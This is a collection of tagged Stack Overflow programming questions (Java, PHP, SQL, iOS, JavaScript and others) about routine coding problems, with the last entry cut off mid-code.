calculate the length of the longest ordered sub-sequence within the array  i was looking at websites such as <a href= https://projecteuler.net/  rel= nofollow >https://projecteuler.net/</a>  and i came across this question:     given an unordered array of integers of length n > 0  calculate the length of the longest ordered (ascending from left [lower index] to right [higher index]) sub-sequence within the array.     for the live of me i am struggling to find a solution in java. can anyone help     edit:     some examples:    example 1    input: [1  4  1  4  2  1  3  5  6  2  3  7] expected output: 4    example 2    input: [3  1  4  1  5  9  2  6  5  3  5] expected output: 3    example 3    input: [2  7  1  8  2  8  1] expected output: 2,java
download link to /var/[myproject]/www/[myfolder]/[myfile]  how to create a download link to <code>/var/[myproject]/www/[myfolder]/[myfile]</code> using &lt; a > tag  click it and download it.    use this   <pre><code>$zippath =  /var/[projectname]/www/html/zip_download/input.csv.zip ; ... &lt;a href= &lt; php echo $bag-&gt;get( zippath     );  &gt; &gt;&lt; php echo $bag-&gt;get( zipfilename     );  &gt;&lt;/a&gt; </code></pre>   when click it  it unexpectedly goes to: http://[hostname]/var/[projectname]/www/html/zip_download/input.csv.zip,html
header( content-type: image/jpeg )  this coding is giving me crums.  i want to display all the images from the database  php  please help   <pre><code>header( content-type: image/jpeg );  $con = mysql_connect( localhost    admin    test ) or die( could not connect to server ); mysql_select_db( myweb   $con) or die( could not connect to database );  $query =  select * from photos ;  $result = mysql_query($query);  $row = mysql_fetch_array($result mysql_assoc);  $pic = $row[ pic ];  echo $pic; </code></pre>,php
unable to run native c++ application on different machine  i wrote a simple  hello  world  application in c++ using visual studio 2008. i am able to run the app successfully on my local machine. but when i copy the exe onto another machine and run  it does not run. it gives the error that  application has failed to start because application configuration is incorrect . the another system does not have visual studio installed. what could be the problem     thanks  rakesh.,c++
i have an imagebutton which is in a datalist. onclick  the event for the image button is not firing. how can i get it to fire  <pre><code>&lt;%@ page  title=   language= c#  masterpagefile= ~/sablon.master  autoeventwireup= true  codefile= cevaplar.aspx.cs  inherits= cevaplar   %&gt; &lt;asp:datalist id= datalistsoru  runat= server  &gt;  &lt;itemtemplate&gt; &lt;asp:imagebutton id= imagebutton1  runat= server  onclick= imagebutton1_click  imageurl= ~/resimler/yukariok.jpg  /&gt;  &lt;/itemtemplate&gt; &lt;/asp:datalist&gt; </code></pre>   and cs code is here   <pre><code>  protected void imagebutton1_click(object sender  imageclickeventargs e) {     response.redirect( default.aspx ); } </code></pre>   and i click the img button it has errors which contains invalid postback or callback argument.  event validation is enabled using  but doesnt work,asp.net
random seed options  i am very very new to python so please be kind.    i have a python query that is trying to randomize pages to show to the user. so if two people are sitting next to each other and they visit the page they won t see the same results. i seem to be having trouble with the order_list and how it displays. as soon as i add that part in i m getting back  no results .    maybe it s just a simple typo that i just can t see because i ve been looking at it too long     any help would be appropriated!   <pre><code>filter_class = filter     def get_serializer_class(self):         if self.action ==  list :             return serializer         return serializer       def get_queryset(self):         random_seed_options = (7 11 13 17 19 23)         seed = self.request.query_params.get( random_seed   none)         if seed is none:             seed = 0         else:             seed = int(seed)         order_list = [             ( mod_order    vo_core_list.id %% %s )              ( x_order    list_type = %s )              ( list_count                  (select count(id) from vo_core_list c)  )         ]         select_list = order_list          qs =  consumer.objects.extra(             select=ordereddict(select_list)              select_params=(random_seed_options[seed])              where=[ now() between coalesce(display_start now()) and display_end ]              params=consumer.type              order_by=[ -x_order   mod_order ]         ).select_related( list_type    category  )         return qs </code></pre>,python
icons required to submission   i know  that this subject was discussed here so many times  but i couldn t find a specific answer. i can see on apple docs that you need all the icons for all devices . our app is for iphones only . so i have 57x57 and 114x114 . do i have to set also the other icons such as 72   i couldn t find a clear answer for that .    according to this- i dont need . is that right   <a href= http://developer.apple.com/library/ios/#qa/qa1686/_index.html  rel= nofollow >http://developer.apple.com/library/ios/#qa/qa1686/_index.html</a>    thanks .,objective-c
stylize input box as seen on android developer website  using css  how to stylize input box like image below using pure  css . i know this can be done via jquery  but i am enthusiast if there is way to do so using css. i took image from <a href= http://developer.android.com  rel= nofollow noreferrer >android s developer</a> website.    <img src= https://i.stack.imgur.com/pmbtb.jpg  alt= input box >    what i did is html    <pre><code>&lt;form&gt;     &lt;label&gt;email address: &lt;/label&gt;     &lt;div class= left &gt;&lt;/div&gt;     &lt;input type= text  class= input /&gt;     &lt;div class= right &gt;&lt;/div&gt; &lt;/form&gt; </code></pre>   and css    <pre><code>.left {     display:inline-block;     height:7px;     border-left:1px solid #ccc;     position:absolute;     margin-top:23px; }  .right {     display:inline-block;     height:7px;     border-left:1px solid #ccc;     position:absolute;     margin-top:23px;     margin-left:-1px;            }  .input {     display:inline-block;     height:30px;     font-size:16px;     width:250px;     border:1px solid  #ccc;     border-width:0px 0px 1px 0px;     padding:0px 5px;       outline:none; }  .input:hover  .input:focus {     border-color:#4ab5d9; } </code></pre>   what i am trying is => also on <a href= http://jsfiddle.net/gqjba/  rel= nofollow noreferrer >jsfiddle link</a>    the only problem is  i can t found way to change the color of left and right border on hover &amp; on focus.,css
nsnumberformater worked in cocoa  but not working in ios  in my cocoa application i used the following to set a number format in a label   <pre><code>nsnumberformatter *numberformatter =       [[[nsnumberformatter alloc] init] autorelease];      nsmutabledictionary *newattrs = [nsmutabledictionary dictionary];      [numberformatter setformat:@ ### ##0;(### ##0) ];       [newattrs setobject:[uicolor redcolor] forkey:@ nscolor ];      [numberformatter settextattributesfornegativevalues:newattrs];       [[datacellr1c2 cell] setformatter:numberformatter]; </code></pre>   as i adapt the project to ios  i get an error when i use this.  i get the error  “setformat not found”    what should i use in ios application built with uikit.h,ios
sql full day difference  does anyone know how to get the datdiff in full days between 2 days.    im currentlly using    <pre><code>datediff(day createddate dateserved)  </code></pre>   but need it to return how many full days    i.e    <pre><code>created    =   1/7/2010 2100 dateserved =   2/7/2010 2000 </code></pre>   currently the datediff would show 1 day but i need it to show 0 until dateserved passes 2100    any ideas sp,sql
importerror: cannot import name  timedelta  i am getting the error <code>importerror: cannot import name  timedelta .</code>     from this line in my code:   <pre><code>from datetime import timedelta  datetime </code></pre>   i just  installed pandas using <code>pip install pandas</code> and also <code>conda install -f pandas</code>    i dont get any error when i write <code>import pandas</code>. when i write <code>which python</code>  i get <code>/users/zpu/miniconda3/bin/python</code> when i want to debug the first line is   <pre><code>/library/frameworks/python.framework/versions/3.5/bin/python3.5 </code></pre>,python
js higher order confusion  i am reading javascript alonge and the first higher order function has confused me and looking for some help in understanding the output and why it is so.   <pre><code>const repeat = (num  fn) =&gt;     (num &gt; 0)           (repeat(num - 1)  fn)  fn(num))         : undefined  repeat(3  function(n) {     console.log(`hello ${n}`) }) </code></pre>   the output is:   <pre><code>hello 1 hello 2 hello 3 undefined </code></pre>   my confusion is that i would expect that it would start at 2 if i was to pass 3 in as the value and it is greater than 0 which would then call repeat again. this is where i get stuck  because of the fact that this seems to me in my thinking that it would start at 2 and need help in how to walk thru this in how the output is what it is.    thank you,javascript
trying to iterate over a selected elements and alert the pagex event prop. but returns undefined  i am getting cannot read property pagex of undefined.   <pre><code>        &lt;div id= subcontainer &gt;             &lt;div&gt;0&lt;/div&gt;             &lt;div&gt;1&lt;/div&gt;             &lt;div&gt;2&lt;/div&gt;             &lt;div&gt;3&lt;/div&gt;        &lt;/div&gt;          &lt;script&gt;             $( #subcontainer div ).each(function ()  {              $(this).bind( click   function(event)  {              alert($(this).event.pagex);               });          &lt;/script&gt; </code></pre>   could somebody please tell me how i can do it right,jquery
html pop-up from button click  i have a website that i want to click a button and have a pop-up to confirm if the user wants to proceed or not. i ve seen several questions that use a link and have some kind of pop-up  but none that have a button with a pop-up. i ve tried a few things  but they don t work the way that i want them to. currently i have:   <pre><code>&lt;p&gt;copy website files from mafinfwwwpv02 to mafinfwwwpv01&lt;/p&gt; &lt;form action= admin.php  enctype= multipart/form-data  method= post  onclick= myfunction() &gt;     &lt;input type= hidden  name= action  value= copyfiles /&gt;     &lt;p&gt;&lt;input type= submit  name= submit  value= copy files /&gt;&lt;/p&gt; &lt;/form&gt; &lt;p id= demo &gt;&lt;/p&gt; </code></pre>   and then this:   <pre><code>&lt;script&gt; function myfunction() {     var x;     if (confirm( copy all files  ) == true)     {         x =  you pressed ok! ;/*want this to run the .bat*/     }     else     {         x =  you pressed cancel! ;/*want this to not run the .bat*/     }     document.getelementbyid( demo ).innerhtml = x; } </code></pre>       this will run a .bat file. it does this regardless of whether i have clicked the  ok  or  cancel  button. i want to click  ok  and have the .bat run or click the  cancel  and not have it run. i don t know how to stop it from running.     i have a <code>switch($_request[ action ])</code> in my code that looks for the  action  from the buttons on the page. for this <code>case</code> it does this:   <pre><code>case  copyfiles : $script = chr(92) . chr(92) .  mafinfwwwpv02\d$\webcontent\engsys.corp.ftr.com\batchfiles\copyfiles.bat ; system( cmd /c   . $script); echo   &lt;br&gt; ; break; </code></pre>,html
converting dates to a more readable format  given an array of datetime values that have been randomly selected between now and the next 7 days  how do i display relative time values  like:   <ul> <li>in 2 h</li> <li>in 3 d</li> <li>in 1 m</li> </ul>   at the moment  <a href= http://jsbin.com/meripexuru/2/edit  rel= nofollow >my program generates a random datearray</a> with items in the following format  which i would ideally like to pass into a function that will return them into relative time format.   <pre><code>var timelineitemcount = getrandomint(0  19); var datearray = new array();      for(i=0;i&lt;timelineitemcount;i++)     {         var today = new date();         var randomdates = randomdate(today  new date(today.getfullyear()  today.getmonth()  today.getdate()+7));         datearray.push(randomdates);     }        datearray.sort(function compare(a  b)/&gt; {         return (a &lt; b)/&gt; - (a &gt; b)/&gt;;     });     console.log(datearray);  function getrandomint(min  max) {     return math.floor(math.random() * (max - min + 1)) + min; }  function randomdate(start  end) {     return new date(start.gettime() + math.random() * (end.gettime() - start.gettime())); } </code></pre>   i have done some research  and so far seen examples on how to calculate relative time with values from the past  but i have not seen so much with values selected between now and the next 7 days. for example:   <pre><code>const int second = 1; const int minute = 60 * second; const int hour = 60 * minute; const int day = 24 * hour; const int month = 30 * day;  var ts = new timespan(datetime.utcnow.ticks - yourdate.ticks); double delta = math.abs(ts.totalseconds);  if (delta &lt; 0) {   return  not yet ; } if (delta &lt; 1 * minute) {   return ts.seconds == 1    one second ago  : ts.seconds +   seconds ago ; } if (delta &lt; 2 * minute) {   return  a minute ago ; } if (delta &lt; 45 * minute) {   return ts.minutes +   minutes ago ; } if (delta &lt; 90 * minute) {   return  an hour ago ; } if (delta &lt; 24 * hour) {   return ts.hours +   hours ago ; } if (delta &lt; 48 * hour) {   return  yesterday ; } if (delta &lt; 30 * day) {   return ts.days +   days ago ; } if (delta &lt; 12 * month) {   int months = convert.toint32(math.floor((double)ts.days / 30));   return months &lt;= 1    one month ago  : months +   months ago ; } else {   int years = convert.toint32(math.floor((double)ts.days / 365));   return years &lt;= 1    one year ago  : years +   years ago ; } </code></pre>,javascript
query to get tasks which end date are maximum 7 days from today  i have a tasks database which:   <ul> <li>id</li> <li>name</li> <li>start_date</li> <li>end_date</li> </ul>   i need to retrieve tasks which end date are maximum today + 7 days. for example  if i have a task with 03/01/2018 end date  and today is 03/10/2018 it shouldn t appear. but if a task has 03/06/2018 end date  yes. and of course  all tasks which end date are superior to today must appear on the list.    i can achieve this through sql query or should i do through programming language  thanks.,mysql
sql sum all values in col x for values smaller than value of x in this row  how can i sum all values of c2 where the value in c1 is smaller or equal to the value of c1. i am confused as how to address the value of this row as the statement   <pre><code>sum(case c1 &lt;= c1 then c2 else 0 end)  </code></pre>   does not make much sense. how can i make it something like   <pre><code>sum(case c1 &lt;= c1_value_of_this_row then c2 else 0 end)  c1    c2  1    10  2     5  1     3  3     8 </code></pre>   to   <pre><code>c1    c2  1    13  2    18  3    26 </code></pre>,sql
is this workflow acceptable ui for iphone   i have an arrow that points to the bottom for each table cell. when you click on a table cell  the screen doesn t move to another screen. rather  the bottom picker changes depending on which cell you selected.    is this workflow acceptable according to apple  or does it break guidelines  <img src= https://i.stack.imgur.com/vj5pp.png  alt= enter image description here >,iphone
async & performance example in  you don t know js   everytime i try to read  you don t know js   i run into examples where i can t seem to understand if it s a mistake by the author or js is really that mind blowing. consider this example under  parallel threads  in the chapter  async &amp; performance :    <pre><code>var a = 20;  function foo() {     a = a + 1; }  function bar() {     a = a * 2; }  // ajax(..) is some arbitrary ajax function given by a library ajax(  http://some.url.1   foo ); ajax(  http://some.url.2   bar ); </code></pre>   then the author proceeds with the following explanation:   <blockquote>    in javascript s single-threaded behavior  if <code>foo()</code> runs before <code>bar()</code>    the result is that a has 42  but if <code>bar()</code> runs before <code>foo()</code> the result   in a will be 41.  </blockquote>   how can it be that  if <code>foo()</code> gets run first  the result is 41  i tried this example many times in the console  and i always get 21 following this logic:   <ol> <li>we declare a var with the integer value of 20.</li> <li>we write functions <code>foo()</code> and <code>bar()</code>. in foo  we say  set the var of <code>a</code> to be <code>a + 1</code> i.e. 20 + 1 .</li> <li>then we call them with arbitrary ajax function. if <code>foo()</code> gets called first  the result is 21  not 41.</li> </ol>   am i wrong and just plain stupid for missing out something,javascript
javascript change div color on click and back on second click  i m trying to change color of a div depending on initial color on first click  and change it back on second click. it s working on the first click  but on second it still sees the div having the initial color... like the property doesn t update. thanks!   <pre><code>&lt;script&gt;  function change(div){    if (div.style.backgroundcolor =  rgb(252 198 162) )     {   div.style.background= rgb(220 20 60) ; } else {   div.style.background= rgb(252 198 162) ; } } &lt;/script&gt;  &lt;div class= cell_l  id= mydiv  style=  background-color: rgb(252 198 162);  onclick= change(this); &gt;&lt;/div&gt; </code></pre>,javascript
how to create a custom scrollviewappdelegate   i m trying this tutorial on scrollview (to try to pinch zoom on a background):    <a href= https://www.youtube.com/watch v=robfokl98bc  rel= nofollow >https://www.youtube.com/watch v=robfokl98bc</a>    however  he starts with a  scrollviewappdelegate   which is slightly different than the default  appdelegate  you get with an  empty application .    does anyone know how to specify a custom appdelegate class     i ve read a few other q/as that you shouldn t do this in the first place (and use the pre-built appdelegate.h and .m)  however  i m trying to follow the tutorial video.    thanks!,ios
java.lang.illegalargumentexception illegal character in url  i want to request into web service<br> my parameter like this    <pre><code>urlstring = http://ip/autodownload/andro.php key=apps.apk|2|bla.bla.bla  public void getrequest(string url) {     toast.maketext(this   tambah data   + url +      toast.length_short).show();     httpclient client = new defaulthttpclient();     httpget request = new httpget(urlstring);     try {         system.out.println( tes );         httpresponse response = client.execute(request);         toast.maketext(this request(response) toast.length_short).show();         string res = entityutils.tostring(response.getentity());         system.out.println(res);         update(res);     } catch (exception ex) {         toast.maketext(this   gagal konek server !   toast.length_short).show();     }        } </code></pre>   if i run in browser it s ok  but when i run in android it s error like this   <pre><code>10-25 10:24:49.862: error/androidruntime(14602): fatal exception: main 10-25 10:24:49.862: error/androidruntime(14602): java.lang.illegalargumentexception: illegal character in query at index 67: http://10.234.152.120/autodownload/andro.php key=deliverreceipt.apk|2|com.sat.deliver 10-25 10:24:49.862: error/androidruntime(14602):     at java.net.uri.create(uri.java:970) 10-25 10:24:49.862: error/androidruntime(14602):     at org.apache.http.client.methods.httpget.&lt;init&gt;(httpget.java:75) 10-25 10:24:49.862: error/androidruntime(14602):     at com.sat.deliver.menuutama.getrequest(menuutama.java:140) 10-25 10:24:49.862: error/androidruntime(14602):     at com.sat.deliver.menuutama.requestparam(menuutama.java:118) 10-25 10:24:49.862: error/androidruntime(14602):     at com.sat.deliver.menuutama.onclick(menuutama.java:355) 10-25 10:24:49.862: error/androidruntime(14602):     at android.view.view.performclick(view.java:2408) 10-25 10:24:49.862: error/androidruntime(14602):     at android.view.view$performclick.run(view.java:8816) 10-25 10:24:49.862: error/androidruntime(14602):     at android.os.handler.handlecallback(handler.java:587) 10-25 10:24:49.862: error/androidruntime(14602):     at android.os.handler.dispatchmessage(handler.java:92) 10-25 10:24:49.862: error/androidruntime(14602):     at android.os.looper.loop(looper.java:123) 10-25 10:24:49.862: error/androidruntime(14602):     at android.app.activitythread.main(activitythread.java:4627) 10-25 10:24:49.862: error/androidruntime(14602):     at java.lang.reflect.method.invokenative(native method) 10-25 10:24:49.862: error/androidruntime(14602):     at java.lang.reflect.method.invoke(method.java:521) 10-25 10:24:49.862: error/androidruntime(14602):     at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:868) 10-25 10:24:49.862: error/androidruntime(14602):     at com.android.internal.os.zygoteinit.main(zygoteinit.java:626) 10-25 10:24:49.862: error/androidruntime(14602):     at dalvik.system.nativestart.main(native method) </code></pre>   i have try with urlencoding  and replacement character  but it s not working<br> what should i do thank you<br> <strong>*solved</strong><br> i make replace character in urlstring like :   <pre><code>urlstring+=  key= +appname.trim().replace( .    %2e )+ |2| .trim().replace( |    %7c )+packagename.trim().replace( .    %2e ); </code></pre>   and it s work fine :),android
how to create 3 dimentional dynamic array   i want to create 3d dynamic array. how should i create this     i am collecting data form database and i am trying to store this data in array and i don t know how much data c,java
android: how to know which process owns a directory   i have galaxy s3 and it keeps pop up an advertisement on the bottom of the screen  i want to find out which process is doing this and kill it.    now i have found the directory that stores all the pictures of the advertisement  but how can i find the process which owns the directory  the directory is: /sdcard/advimg.    thanks.,android
mysql from enum to tinyint problems  i ve got a table with   <pre><code>`terms_of_payment` enum( 0   1 ) not null default  0  comment    </code></pre>   i run   <pre><code>alter table `customer`  change `terms_of_payment` `terms_of_payment` tinyint( 1 )       not null default 0 comment   ; </code></pre>   and i found all my customers (with  0  value) set to 1 when i m waiting 0    could you explain me  what s the trouble  please      bye,mysql
post data using $resource  demo: <a href= http://jsfiddle.net/rob_balfre/7quuf/  rel= nofollow >http://jsfiddle.net/rob_balfre/7quuf/</a>    how do you post data (across domain) using $resource      for example this curl writes to the api with no problem:    <pre><code>curl --dump-header - -h  content-type: application/json  -x post --data  { name :  wobbly }  http://192.168.91.20/api/food/ </code></pre>   and the header response is:   <pre><code>http/1.0 201 created date: thu  25 oct 2012 08:19:42 gmt server: wsgiserver/0.1 python/2.6.1 access-control-allow-headers: content-type * location: http://localhost/api/food/15/ access-control-allow-credentials: true access-control-allow-origin: * access-control-allow-methods: post get options put delete content-type: text/html; charset=utf-8 </code></pre>   i m totally stuck on how to get angular to post the same way.  this is my $resource  it s worth noting that  get  works just fine:   <pre><code>angular.module( tastypiemodule   [ ngresource ]). factory( foodoptions   function($resource  $timeout) {    var foodoptions = $resource( http://testurl/api/:type           {type:  food }          {             get: {method:  jsonp   params: {format:  jsonp   callback: json_callback }}              update: {method:  post   headers: { content-type :  application/json }}         }     );   return foodoptions; }) </code></pre>   when i call update it just fails and i see this is the console network tab:   <pre><code>method: options  status: (canceled) load cancelled </code></pre>,angularjs
auto trigger button javascript  i have this code:   <pre><code>document.getelementbyid( auth-button ).addeventlistener( click   authorize); </code></pre>   when my page load i want to trigger that without clicking the button.    this is my view    <a href= https://i.stack.imgur.com/snzhb.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/snzhb.png  alt= my view ></a>    when authorized button clicked this is the output    <a href= https://i.stack.imgur.com/cvyxc.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/cvyxc.png  alt= enter image description here ></a>    i want to auto click that button when my page load.,javascript
create zoomable view in ios  i would like to create a zoomable/scrollable flowchart in ios.  i would like the user to be able to click on any item in the flowchart to take them to other parts of the app.  does anyone have any good suggestions on how i could create an interactive zoomable view in ios,ios
angularjs submit form through modal form. modal open as template  my main controller is..   <pre><code>app.controller( homectrl  function($scope $modal){     $scope.openlogin=function(){         var logininstance=$modal.open({             templateurl:  partials/login.html               controller:  loginctrl          });     } }); app.controller( loginctrl  function($scope  $modalinstance){     $scope.login_submit = function() {         alert($scope.email)     }; }); </code></pre>   on click of login button my model open as template. model contain form.. how to submit that form. i am trying to alert form value. it show me undefine,angularjs
how to capture image automatically in android <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/9682928/capture-image-with-front-camera-without-opening-the-camera-application-in-androi >capture image with front camera without opening the camera application in android</a>    </blockquote>     my problem is i can do capturing only by using intent to launch the camera and click the button to capture image. is it possible to do it automatically by not clicking a button or what codes can i add to do this  thanks in advance.,android
the system cannot find the path specified  ** io exception**  i m working on files and trying to meke multiple files and i m getting exception as :   <pre><code>java.io.ioexception: the system cannot find the path specified at java.io.winntfilesystem.createfileexclusively(native method) at java.io.file.createnewfile(unknown source) at com.create.creatingfiles.create(creatingfiles.java:25) at com.create.creatingfiles.main(creatingfiles.java:36) </code></pre>   and code is :    <pre><code>file file = new file( f://fileio );         stringbuffer buffer = null;         file newfile;          try {             if (!file.exists()) {                 file.mkdir();                 buffer = new stringbuffer(file.getabsolutepath().tostring());              } else {                 system.out.println( directory exists );                 buffer = new stringbuffer(file.getabsolutepath().tostring());             }              for (int i = 0; i &lt; 10; i++) {                 newfile = new file(buffer.append( /new file ).append(i)                         .append( .txt ).tostring());    //error                  if (!newfile.exists()) {                     newfile.createnewfile();                     system.out.println(newfile.getabsolutepath());                 } else {                     system.out.println( file exists );                 }             }         } catch (ioexception e) {             // todo auto-generated catch block             e.printstacktrace();         } </code></pre>   now correct me if i am wrong  i m thinking that  i need to close file resources so that i can reassign it to new file but cannot close it.    or    something else is causing that error,java
can i add more than 8 tabs on tabbarcontroller   can i add more than 8 tabs on uitabbarcontroller     my code is here:   <pre><code>uitabbarcontroller *tabbar=[[uitabbarcontroller alloc]init]; tabbar addtabitems...... </code></pre>,iphone
the use of self.current_user in ruby on rails tutorial   i am trying to understand this piece of code   <pre><code>module sessionshelper    def sign_in(user)     cookies.permanent[:remember_token] = user.remember_token     self.current_user = user   end    def current_user=(user)     @current_user = user   end    def current_user     @current_user ||= user.find_by_remember_token(cookies[:remember_token])   end end </code></pre>   using the line   <pre><code>self.current_user = user </code></pre>   will it create a variable named current_user for the class sessionscontroller (the above module belongs to sessionscontroller class)     if  i use   <pre><code>@current_user = user </code></pre>   instead of the above line  the code seems to work the exact same way. how !    thanks a lot for your time.,ruby-on-rails
rails 3 remote stops working when i remove gon  i was using <a href= https://github.com/gazay/gon  rel= nofollow >gon</a> with my project  but decided i didn t want it anymore.    with gon  <code>application.html.erb</code> looks like this:   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt;   &lt;title&gt;&lt;%= full_title(yield :title) %&gt;&lt;/title&gt;   &lt;%= include_gon %&gt;   &lt;%= render  layouts/stylesheets  %&gt;   &lt;%= javascript_include_tag  application  %&gt;   &lt;%= csrf_meta_tag %&gt;    &lt;!-- begin analytics --&gt;   &lt;script type= text/javascript &gt;      var _gaq = _gaq || [];     _gaq.push([ _setaccount    ua-29558757-1 ]);     _gaq.push([ _trackpageview ]);      (function() {       var ga = document.createelement( script ); ga.type =  text/javascript ; ga.async = true;       ga.src = ( https:  == document.location.protocol    https://ssl  :  http://www ) +  .google-analytics.com/ga.js ;       var s = document.getelementsbytagname( script )[0]; s.parentnode.insertbefore(ga  s);     })();    &lt;/script&gt;  &lt;!-- end analytics --&gt;    &lt;!-- begin favicon.ico --&gt;   &lt;%= favicon_link_tag %&gt;   &lt;!-- end facicon.ico --&gt;  &lt;/head&gt; &lt;body&gt;   &lt;% unless @home  %&gt;     &lt;%= render  layouts/header  %&gt;   &lt;% end %&gt;    &lt;div id= content &gt;     &lt;p style= color: black &gt;&lt;%= notice %&gt;&lt;/p&gt;     &lt;p style= color: red &gt;&lt;%= alert %&gt;&lt;/p&gt;   &lt;%= yield %&gt;   &lt;/div&gt;   &lt;div style= color: black &gt;&lt;%= debug(params) if rails.env.development  %&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   without gon  <code>application.html.erb</code> looks like this:   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt;   &lt;title&gt;&lt;%= full_title(yield :title) %&gt;&lt;/title&gt;   &lt;%= render  layouts/stylesheets  %&gt;   &lt;%= javascript_include_tag  application  %&gt;   &lt;%= csrf_meta_tag %&gt;    &lt;!-- begin analytics --&gt;   &lt;script type= text/javascript &gt;      var _gaq = _gaq || [];     _gaq.push([ _setaccount    ua-29558757-1 ]);     _gaq.push([ _trackpageview ]);      (function() {       var ga = document.createelement( script ); ga.type =  text/javascript ; ga.async = true;       ga.src = ( https:  == document.location.protocol    https://ssl  :  http://www ) +  .google-analytics.com/ga.js ;       var s = document.getelementsbytagname( script )[0]; s.parentnode.insertbefore(ga  s);     })();    &lt;/script&gt;  &lt;!-- end analytics --&gt;    &lt;!-- begin favicon.ico --&gt;   &lt;%= favicon_link_tag %&gt;   &lt;!-- end facicon.ico --&gt;  &lt;/head&gt; &lt;body&gt;   &lt;% unless @home  %&gt;     &lt;%= render  layouts/header  %&gt;   &lt;% end %&gt;    &lt;div id= content &gt;     &lt;p style= color: black &gt;&lt;%= notice %&gt;&lt;/p&gt;     &lt;p style= color: red &gt;&lt;%= alert %&gt;&lt;/p&gt;   &lt;%= yield %&gt;   &lt;/div&gt;   &lt;div style= color: black &gt;&lt;%= debug(params) if rails.env.development  %&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   all i did was remove the <code>&lt;%= include_gon %&gt;</code> line.  when i do this  however  none of my remote forms work anymore.  the callbacks just don t get called.  if i put the <code>&lt;%= include_gon %&gt;</code> line back in  the callbacks work again.    is there a process to remove <code>gon</code> from a project,ruby-on-rails
is there a tool i can use to quickly check which versions of python a library is compatible with   when developing frontend applications  people often use <a href= https://caniuse.com/  rel= nofollow noreferrer >https://caniuse.com/</a> to determine browser compatibility.    is there anything similar for python  for example  lets say i want to use <code>argparse</code>. i can enter it into the tool and it will tell me that only python 3.0 and 3.1 don t have it available.    this is the error pycharm is giving me: <a href= https://i.stack.imgur.com/k47mr.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/k47mr.png  alt= enter image description here ></a>,python
deleting the only node in a list issues  i am having issues with deleting nodes in my doubly linked list  it crashes when i try to delete a node when there is only 1 node in the list. it works well otherwise. its been driving me crazy because everything i have tried seems to make it worse not better. here is my delete functions before i started changing them to try and get it to work better.   <pre><code>void doublylinked::deletelast(int value) {     if (first == null)         cout &lt;&lt;  error: you cannot delete what is not there. please try again!                &lt;&lt; endl &lt;&lt;endl;     else {         node* todelete = last;         last = todelete -&gt; previous;         last-&gt;next = null;          delete todelete;     }// end else }// end function delete last  //+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ void doublylinked::deletefirst(int value) {      if (last == null)         cout &lt;&lt;  error: you cannot delete what is not there. please try again!                &lt;&lt; endl &lt;&lt;endl;// end if      else {         node* todelete = first;         first-&gt;next-&gt;previous = null;         first = todelete-&gt;next;          delete todelete;     }//end else } </code></pre>,c++
parse error: syntax error  unexpected  (   i have an helper class like this:   <pre><code>class helper{         public static $app_url = self::getserverurl();     /**     * gets server url path     */     public static function getserverurl(){         global $cfg; // get variable cfg as global variable from config.php modified by gentle          $port = $_server[ server_port ];         $http =  http ;          if($port ==  80 ){           $port =   ;           }          if(!empty($_server[ https ]) &amp;&amp; $_server[ https ] ==  on ){            $http =  https ;         }         if(empty($port)){            return $http. :// .$_server[ server_name ]. / .$cfg[ afn ];         }else{            return $http. :// .$_server[ server_name ]. : .$port. / .$cfg[ afn ];          }             } } </code></pre>   and its given me:   <blockquote>    parse error: syntax error  unexpected  (  on the line with   public static $app_url = self::getserverurl();  </blockquote>,php
how to redirect from  index.html  to  www.example.com    i want to redirect from www.example.com/index.html to just www.example.com. i have changed my internal links to remove the  index.html  but was wondering if i should redirect it completely     if so  how do i do this,html
how to force release a str in python   before the question i want to say sorry to you  because i m not a native english and my english is very very poor.    i m writing a python program to read a file to a string   and then analyze it   and then pass it to some other programs.(they can t work with stream)    simple code like this:   <pre><code>content = open( file ).read() if passittoa(content):     a.portal(content) del content </code></pre>   the problem is the string i read will not be release. usually it lives until the end of process.    i know it is a feature of dynamic languages. but it cause a lot of memory waste when i running 1000 duplicates processes in the same time.    can i release it on my call,python
scroll uitableview to display selected cell  if i have a <code>uitableview</code> with a selected cell  how can i scroll the table so the selected cell is visible  (or better  so that cell is in the middle of the screen).    thanks!,ios
shrinking text in uilabel  i hv a label of width 100 px but dynamically i am filling that label. so the text s length is not fixed  so it can be anything  10 or 30. the problem i am facing is  when the text length exceeds  the font size of  the text in uilabel gets smaller and complete text comes up in uilabel.    i was trying if  the text length gets exceeds  it should show something like this   abcdefghijklm    to    abc....     with the same font size...something like adjust size to fit . how can do dat     regards,iphone
"scroll div horizontally when user scrolls vertically  i have some code that moves a scrollable div horizontally when the user scrolls vertically  however it is not like the normal scroll and would like it to be smoother like a normal page scroll would be. how would i get this effect with the code i have already     preferably just using vanilla javascript    i have attached an example to demonstrate how it looks so far    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var scrollcontainer = document.queryselector( .scroll-container );
 
 scrollcontainer.addeventlistener( wheel   horizontalscroll  false);
 
 function horizontalscroll(e) {
     var e = window.event || e;
     var delta = math.max(-1  math.min(1  (e.wheeldelta || -e.detail)));
     scrollcontainer.scrollleft -= (delta*50);
     e.preventdefault();
 }</code></pre>
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.container {
  width: 500px;
  height: 400px;
  background-color: red;
  padding: 20px;
 
 }
 
 .scroll-container {
  width: 100%;
  height: 100%;
  background-color: #fff;
  overflow: scroll;
 }
 
 .scroll {
  width: 5000px;
  height: 100px;
  background: linear-gradient(to right  #ff0  #0ff);
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= container &gt;
    
   &lt;div class= scroll-container &gt;
     
